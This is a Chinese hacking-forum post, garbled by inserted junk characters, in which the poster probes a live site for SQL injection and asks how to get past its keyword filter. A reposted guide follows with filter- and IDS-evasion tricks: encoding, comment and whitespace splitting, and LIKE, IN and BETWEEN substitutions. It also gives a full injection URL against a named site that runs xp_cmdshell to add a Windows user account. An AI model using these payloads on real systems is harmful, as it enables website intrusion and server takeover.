路过这个网站,检测了一下.
$ Q! P) {& y* h$ Vhttp://www.xxx.cn/Article.asp?ID=117 and 1=1
$ n& X' O8 O. H8 o: s直接返回主页8 ~1 u/ [; u- d, x
http://www.xxx.cn/Article.asp?ID=117 or 1=1
b& h6 G) Y `$ s$ H5 w7 b' }直接返回主页2 j" I e$ {1 s: e' s+ T
http://www.xxx.cn/Article.asp?ID=117 or6 P2 d% o4 c7 I0 P6 C/ ~4 z
没有返回主页 没有过滤or M# {8 J) A& G$ O! d
http://www.xxx.cn/Article.asp?ID=117 and
6 u8 s Z3 p& Z) J+ T: R& B直接返回主页 看来过滤了and/ r9 v3 B' k/ o5 R4 T
http://www.xxx.cn/Article.asp?ID=117 or 1
" Q' c$ P0 z; e. j( t没有返回主页 即没有过滤or 也没有过滤16 J- A( S& z2 j: j/ F
http://www.xxx.cn/Article.asp?ID=117 or 1=1. t, U$ k d% b
直接返回主页 很明显过滤了等号
" z- {+ w1 u% Wor的特性是与and相反的.1 N& t( V ?5 E2 ~7 e' U- y
or 1=1 爆错 或与原页面不同, O+ H# e2 K1 Z# }5 b' g# F8 ~& @/ \
or 1=2 原页面相同) K: g3 Q7 w+ K* O) ^& p
这样就是一个注入点' z. S8 {# T# P: z0 N& J
但他过滤了=号 我就用><号代替=号吧!. K7 ]; M P) `# _5 g' B% F7 a" g
or 1<2 很明显是正确的,所以应该与原页面不同
& `; p9 ^3 a0 qor 1>2 很明显是错误的,所以应该与原页面相同6 J+ H# w1 L, B
然后看看有没有过滤其他的查询语句,比如select.
2 Z6 x1 H* a/ N4 i7 {http://www.xxx.cn/Article.asp?ID=117 select$ S+ `! O* H* v Z# n1 ~% B
直接返回主页- t: J3 g' J8 A, f( i
又迷茫了..
( E* U8 k, t: A* g# D
3 {5 D, a4 ?6 i |# u! M+ |
/ G9 T* u3 p& c) k- q: u2 j: Jcookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗" I1 z( n! n1 K6 ?0 _& x
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
+ S. {3 Q ?% j* d1 f! O================================================
, A, O7 p. v( i% }& x9 F以下是转贴:+ \; |) A3 w* k$ k& P# n$ X
6 \1 q7 i' t1 I7 E' S7 l' L
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
* m6 ~/ ^$ E+ P; Z0 c8 M经过我的收集,大部分的防注入程序都过滤了以下关键字:
- Y) W, J% |* |0 {7 O9 D: Eand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = $ R2 H& p5 M, _ ?% e% J1 Q
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 0 N. i% A8 t8 m
对于关键字的过滤,以下是我收集的以及我个人的一些想法。 / L" x x. l& q9 J* K$ a; @, P
1、运用编码技术绕过
# d, Y L; ~) @ m1 `如URLEncode编码,ASCII编码绕过。例如or 1=1即
8 Y( [4 R) v7 U" h5 z% }: N4 t%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
* i8 V$ [9 e" H7 K
( N" P# N1 p$ q+ |$ v2、通过空格绕过 / a8 k+ E. `% Y# T
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
2 u' T8 M! Y$ _$ ~: R! Q3 Aor’ swords’ =‘swords’ 9 l6 {3 T4 M [+ _
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 * C4 m+ w% Q- @8 {
3、运用字符串判断代替
+ n6 G/ ^9 |. [, [4 _用经典的or 1=1判断绕过,如 # t& c! ? R, `3 O+ h
or ’swords’ =’swords’ 1 y* d' m( h# ]! ~0 _) j
,这个方法就是网上在讨论的。 $ o6 @* F$ S9 R7 f4 f
4、通过类型转换修饰符N绕过 . R( ~/ L Z+ w: a( f. M% e
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
) y" e* X6 r, T5 x5 K5、通过+号拆解字符串绕过 o, Z( c$ f$ N
效果值得考证,但毕竟是一种方法。如
9 r. R3 Z. z/ y4 k* Eor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) + s) e# g( g" V* L7 x5 i
8 \+ {# ?: Z% P8 z' H
6、通过LIKE绕过
+ Y; a5 ?4 i# M1 {以前怎么就没想到呢?如or * J' L$ N6 U4 n) ^7 N% A9 ?: p
’swords’ LIKE ’sw’ 2 r+ q6 C& y# x- F5 v
!!!显然可以很轻松的绕过 - u6 c! y; q6 `9 q0 e
“=”“>” ) |5 C: N+ x' `) L) y! @) X7 ^
的限制…… / J+ y& e: A. a$ X/ v1 ^
7、通过IN绕过 . o. I; h' ]) z6 K5 ?7 u/ h+ @. P) d
与上面的LIKE的思路差不多,如 6 S5 v- d, {7 v9 t5 _1 Q
or ’swords’ IN (’swords’)
3 \; N6 c6 W- \+ V5 Z1 |- @
, f/ }5 _' |! I* H; w3 ?; l8、通过BETWEEN绕过
9 d3 L' `" p, H! V# _如 8 {+ k% t3 `/ n
or ’swords’ BETWEEN ’rw’ AND ’tw’ . g4 q' C/ i7 p) Q( j% Z' O% p
; g8 d5 @( q( S: F% l
9、通过>或者<绕过 0 N7 g9 H+ V! F: i
or ’swords’ > ’sw’ & \) C: y6 G/ M$ L' ^3 Q
or ’swords’ < ’tw’
) s* Q9 O2 [2 y% m6 {+ Bor 1<3 " ?6 I$ P' B9 l+ x% x
……
, ]) b& T' f! u10、运用注释语句绕过 5 g) `6 X+ s6 V2 r S9 M! g5 X
用/**/代替空格,如:
& d' o$ E& H, W1 ^- eUNION /**/ Select /**/user,pwd,from tbluser
9 b% S& |# |1 W* I5 d! D& g c
2 Z8 o9 v. v k4 p) c用/**/分割敏感词,如: 3 [+ X9 z b/ m G& ?2 `( c
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
. B3 Y3 S$ c3 E5 J2 }$ l2 U
0 t3 @6 D( A, W. D) p/ V11、用HEX绕过,一般的IDS都无法检测出来
- z$ U$ l6 I+ F, R. c0x730079007300610064006D0069006E00 =hex(sysadmin)
6 Y9 S) c$ K# Y2 A$ L$ a/ Z0x640062005F006F0077006E0065007200 =hex(db_owner)
8 }' `$ Z J0 Y4 t5 I另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: " K/ f$ x3 a* n2 [- l+ n1 P
declare @a sysname ! Y' V9 e& H. T
select @a=
! d8 v# x/ V/ d/ Z+ ]% ] exec master.dbo.xp_cmdshell @a - _0 P3 L$ l1 T- F& k% T
效果
4 z4 k7 s' R K2 i" uhttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- ; N) `" X9 B$ a, h w. X
' R$ k8 R4 @6 Q% c: s2 Z4 ?' k7 S, |* I
其中的
) }/ b+ \" c5 S: Z0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
' u6 H9 f- `. i+ B& C就是
" q5 I/ k- ~; f“net user angel pass /add”& U- ?8 Y* x% r8 k% {; w' a
6 V0 f; ^" y& P( h% [$ Q5 q
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
' d/ S- s* y/ ^- u& M: v引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
* P0 B3 F' k5 K; p: `! @. B另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
3 T8 i! Z' m7 @: j; _) ^0 }9 JCopy code' `$ Z& ]$ m$ N( P
select * from table exec xp_cmdshell'xxxxxxxxxx'
1 j# o+ q. {4 G8 F$ U7 F! {6 ~0 p# p9 X& F6 l. q* Q% a+ _& u7 N
$ T: Z" G$ ]3 I4 Y! s/ `
select * from table/**/exec xp_cmdshell'xxxxxxxxxx'
. s% _' A2 I* [$ D. s) {1 @1 ~7 Z8 W. G( E2 u4 V2 W
6 O: q, c) f4 _2 }* @, fselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'1 g) W1 n9 ~9 ~) H, }# N
, P. G @+ u" Y/ u8 p: u
1 t$ ]5 w, I- w) aselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
1 E; u' s+ I+ f+ y4 C: W' u/ ~% l( c" N
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
7 K0 Q9 w' k& c# p( n# v
5 }: S- s* l3 ^. f/ g6 h( K" z这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了! k+ |. _6 k& O
可能大家早就知道了,不管怎么说,发在这里吧!
8 g0 f2 N2 B o& ~: E# p5 \) r" ?4 W; h8 w8 Q
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。/ \1 J) @( W! L8 e6 q/ B7 U
" r, p. J* c. {# }" S6 }! R4 s# Q# f$ v
! J. s$ j4 H8 {/ ?$ ]- i对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,2 ^; l; U' Q0 L* `2 Z0 g+ a
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? 0 L3 t& p/ h) m2 B
# F- Z, t6 B& l/ j |